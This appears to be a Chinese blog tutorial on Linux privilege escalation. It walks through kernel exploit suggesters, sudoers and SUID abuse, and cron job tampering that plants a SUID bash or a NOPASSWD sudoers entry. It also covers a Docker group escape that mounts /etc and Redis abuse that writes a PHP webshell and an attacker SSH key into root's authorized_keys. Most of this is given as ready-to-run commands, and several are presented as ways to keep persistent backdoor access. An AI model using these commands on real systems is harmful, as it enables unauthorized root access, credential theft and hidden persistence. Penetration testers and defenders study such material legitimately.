提权——Linux

一、系统漏洞提权

#kali的nmap命令

nmap -O 目标ip

  1. 通过当前系统的内核版本搜索当前系统的漏洞,进行利用 搜索漏洞

  2. 对linux系统的漏洞进行利用(脏牛、脏管道等)

    利用漏洞搜索工具,搜索当前系统是否存在一些漏洞

    1. linux-exploit-suggester-master

      下载地址 :GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool

      解压缩之后,执行他的.sh 文件 ,会把当前系统的所有漏洞搜索出来。

    2. linux-smart-enumeration-master

      下载地址 :GitHub - diego-treitos/linux-smart-enumeration: Linux enumeration tool for pentesting and CTFs with verbosity levels

      解压缩之后,执行他的.sh 文件 ,会把当前系统的所有漏洞搜索出来。

  3. MSF提权辅助工具

    MSF中有一个模块,叫后渗透测试模块(POST),其中这个模块就可以提供提权 。

    进入msf中 ,搜索 suggester

    复制代码
    msf6 exploit(unix/webapp/drupal_drupalgeddon2) > search suggester
    ​
    Matching Modules
    ================
    ​
    #  Name                                      Disclosure Date  Rank    Check  Description
       -  ----                                      ---------------  ----    -----  -----------
       0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester
    ​
    ​
    Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

    利用这个后渗透测试模块,进行搜索 可用的提权漏洞 。

    复制代码
    msf6 exploit(unix/webapp/drupal_drupalgeddon2) > use 0
    msf6 post(multi/recon/local_exploit_suggester) > show options 
    ​
    Module options (post/multi/recon/local_exploit_suggester):
    ​
       Name             Current Setting  Required  Description
       ----             ---------------  --------  -----------
       SESSION                           yes       The session to run this module on
       SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits
    ​

    设置session后运行

二、系统配置提权

1、soduer提权

(1)漏洞产生原因

当一个普通用户被创建出来时,在执行某些任务时可能需要执行某些命令的权限,管理员可能为了省去麻烦直接将可以执行所有命令权限赋值给这个普通用户。

且在 /etc/sudoers 文件中设置权限,给普通用户所有权限:

dong ALL=(ALL) NOPASSWD:ALL #设置所有权限

dong ALL=(ALL) NOPASSWD:/usr/bin/firewall-cmd #设置操作防火墙的命令权限,只需要知道该命令所在的位置

(2)利用漏洞

在普通账户操作的时候,可以在命令前加一个 sudo 就可以像root账户一样的操作 。

sudo /etc/shadow

(3)复现

第一步:

查看当前有哪些用户

cat /etc/passwd

创建一个新用户

useradd 新用户名

给新用户设置密码

第二步:

给Sun_happy赋予执行所有命令的权限

在/etc/sudoers中设置

chmod u+x sudoers        #这个文件只有root可以写,因此不能使用chmod 777

命令:

Sun_happy ALL=(ALL)  NOPASSWD:ALL #设置所有权限

第三步:

在普通账户操作的时候,可以在命令前加一个 sudo 就可以像root账户一样的操作 。

命令:

sudo /etc/shadow

从真实情况来看,sudoers提前其实作用不大,且难以实现,但是该方法是一个非常适合维持权限的方法。

2、suid提权

(1)suid工作机制

Linux进程在运行的时候有以下三个UID:

**Real UID:**执行该进程的用户的UID。Real UID只用于标识用户,不用于权限检查。

也就是不论是root还Sun_happy都是没有区别的

Effective UID(EUID) :进程执行时生效的UID。在对访问目标进行操作时,系统会检查EUID是否有权限。一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时 ,进程的EUID会被设置为程序文件属主的UID。

**Set UID:**Set owner User ID up on execution,它允许用户执行的文件以该文件的拥有者的身份运行,也就是说可以越权执行命令。主要设置于 chmod 命令中第user第3位。

(2)bash

分析bash:

如果我们将suid权限设置到bash上,那么不论是谁执行他都算是属主在执行。

操作

#给bash命令加上suid权限

chmod u+s bash

#利用赋予了s权限的bash来使得普通用户浏览管理员才能查看的文件

sudo Sun_happy #转到普通用户

id #查看id

bash -p #将euid改为root

cat /etc/shadow #浏览管理员才能查看的文件

但是这种寄希望于管理员将suid赋予错误的可能性太小,也是只适合修后门维持权限。

(3)检查系统文件s权限

不具危险性的s权限的赋予

linux系统本身 就有一部分指令具有s权限,这些指令不会有安全问题 :

/usr/libexec/pt_chown

/usr/libexec/openssh/ssh-keysign

/usr/bin/gpasswd

/usr/bin/passwd

/usr/bin/crontab

/usr/bin/chsh

/usr/bin/chfn

/usr/bin/newgrp

/usr/bin/chage

/usr/bin/sudo

/usr/sbin/usernetctl

/bin/ping

/bin/ping6

/bin/mount

/bin/su

/bin/umount

/bin/fusermount

/sbin/pam_timestamp_check

/sbin/unix_chkpwd

具有危险性的s权限的赋予(检查系统配置漏洞时重点关注的对象)

chmod u+s /bin/bash $ bash -p

chmod u+s /bin/sh $ sh -p

chmod u+s /bin/env $ env /bin/sh -p

chmod u+s /bin/vi $ vi /etc/shadow

chmod u+s /bin/awk $ awk '{print $0}' /etc/shadow

chmod u+s /bin/cat $ cat /etc/shadow

chmod u+s /usr/bin/curl $ curl file:///etc/shadow

chmod u+s /bin/find $ find /etc/passwd -exec cat /etc/shadow \;

find /etc/passwd -exec bash -p \;

3、定时器提权

(1)定时器的使用

定时器是我们linux中的一个命令,他可以让我们的命令按照我们设置的时间 去定时运行 :

#定时规则

* * * * *


| | | | |

| | | | +----- 星期中星期几 (0 - 6) (星期天 为0)

| | | +---------- 月份 (1 - 12)

| | +--------------- 一个月中的第几天 (1 - 31)

| +-------------------- 小时 (0 - 23)

+------------------------- 分钟 (0 - 59)

#查看已有的定时任务

crontab -l

#创建定时任务

crontab -e

(2)创建一个执行文件

代码如下:

curl http://192.xxx.xxx.xxx/dashboard/phpinfo.php > /dev/null
if [ $? -ne 0 ]; then
    /opt/lampp/lampp start
    echo "检测到lampp没有启动,已经完成启动 - "`date "+%Y-%m-%d %H:%M:%S"` >> /home/Sun_happy/data/site_check.log
fi

firewall-cmd --list-port | grep 80
if [ $? -ne 0 ]; then
    firewall-cmd --add-port=80/tcp
    echo "检测到80端口没有通过,已经完成添加 - "`date "+%Y-%m-%d %H:%M:%S"` >> /home/Sun_happy/data/site_check.log
fi

解释:

访问http://192.xxx.xxx.xxx/dashboard/phpinfo.php

(2)创建一个定时器任务

crontab -e

*/1 * * * * /home/Sun_happy/mysite.sh

#检查定时任务是否创建成功

#查看日志

(3)定时任务危险性

对于上面的mysite.sh可执行文件来说,其所含的内容是没有危害的,但是稍作修改就会有很大的危害。

危害代码添加:

#在mysite.sh文件中添加:将s权限赋值给bash

chmod u+s /usr/bin/bash

#检测

#在mysite.sh文件中添加:使普通用户拥有执行所有命令的权限

echo Sun_happy ALL=(ALL:ALL) NOPASSWD:ALL >> /etc/sudoers

#检测

4、docker容器提权

查看是否有docker组 -> 查看当前获取到的普通用户是否在docker组里面 -> 如果在,创建一个容器,并把etc目录挂载到宿主机的etc目录 -> 修改/etc/passwd中的普通用户id为0

例如 :拉取一个centos 容器

docker search centos

docker pull centos

docker images

复制代码
docker run -it --privileged=true -v /etc:/etc [镜像id] /bin/bash
​
docker run -it --privileged=true -v /etc:/etc 5d0da3dc9764 /bin/bash
​
#docker -i 前端交互模式 -t tty终端显示  privileged配置容器内部拥有最高权限,-v挂载,前面的etc是物理机的文件夹,后面的etc是容器内部的文件夹,b8dfe9ade316是镜像id,/bin/bash是容器进入后的shell环境。

此时,容器内部的/etc目录和物理机的一一同步对应的,可选直接echo最加:

复制代码
echo `wugd ALL=(ALL) NOPASSWD:ALL` >> /etc/sudoers

最后,直接用sudoers提权方式提权即可。

三、第三方软件提权(redis)

1、利用持久化文件提权

在redis中,持久化的路径以及持久化文件的名字都可以修改 ,那么可以就可以使用 持久化做webshell .

首先 当前系统需要有web(php、jsp、asp等)环境 。

(1)修改持久化文件路径

#查询当前web环境的路径

# /opt/lampp/htdocs/security
​
config set dir /opt/lampp/htdocs/security

(2)修改持久化文件名字

#根据web环境 进行确定文件名

config set dbfilename shell.php

(3)向持久化文件中写入木马

复制代码
set 1 "<?php assert($_POST[1]);?>" ​ #持久化 save

(4)测试

2、利用公钥和私钥登录

(1)生成公钥和私钥

ssh-keygen -t rsa

(2)设置redis的持久化文件的路径和名字

config set dir /root/.ssh # 设置路径 如果当前root下 没有`.ssh` 自己创建一个

config set dbfilename authorized_keys # 设置持久化文件的名字

save

(3)把公钥内容存储到持久化文件中

set 1 "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8ISztK16CwYNbXoeWPtkT/4sxDQsXZ9+wYP3jTb49qS1x2AMedTOsEfK+4toIOk43UcT5PnSpve9Dr2i5qD+QMkQmv+PQ5Uy0MvF602jEol7JqgENuzgIxEdqjHooBIgK7xkRw438bUNQG6qZzhQic7l5AisxOGi9I472x5d9IbDp+W5goK+n2ZRtdX4uUeRBm/V8EAOvWUBQwXfDnu9F3B//gSrgbkTRvX/uOduo3hdRpBVuCmJBwOhS3+AZkEoymuascoQHelKcy5RdF/9sj/It2PhcX0+8ydCV6GTlityHmCZO2H1vnjfj4p6nZEW3xavQrw9g3tmVwRK4nov3 administrator@DESKTOP-MKGGU1P\n\n"

(4)在生成公钥和私钥的windows上登录

相关推荐
码哝小鱼6 分钟前
Openssl升级
linux·运维·服务器
Dragon_qu·x11 分钟前
Certbot 生成 SSL 证书并配置自动续期
运维·网络协议·https·ssl
西阳未落33 分钟前
Linux(1)——Linux基本指令
linux
tRNA做科研37 分钟前
Bio-Linux-shell详解-2-基本Shell命令快速掌握
linux·运维·服务器·生物信息·计算生物学
petaexpress1 小时前
容器云跟服务器有啥区别?五个区别要知道
运维·服务器
日出等日落1 小时前
Nginx 跨域 + 无法设置 Cookie 解决办法
运维·nginx
KookeeyLena42 小时前
如何搭建一个ip池用来做数据抓取用
服务器·网络·tcp/ip
小林熬夜学编程2 小时前
【Linux系统编程】第二十弹---进程优先级 && 命令行参数 && 环境变量
linux·运维·服务器·c语言·开发语言·算法
Spring-wind3 小时前
【linux】 ls命令
linux
Flying_Fish_roe3 小时前
linux-安全管理-文件系统安全
linux·运维·安全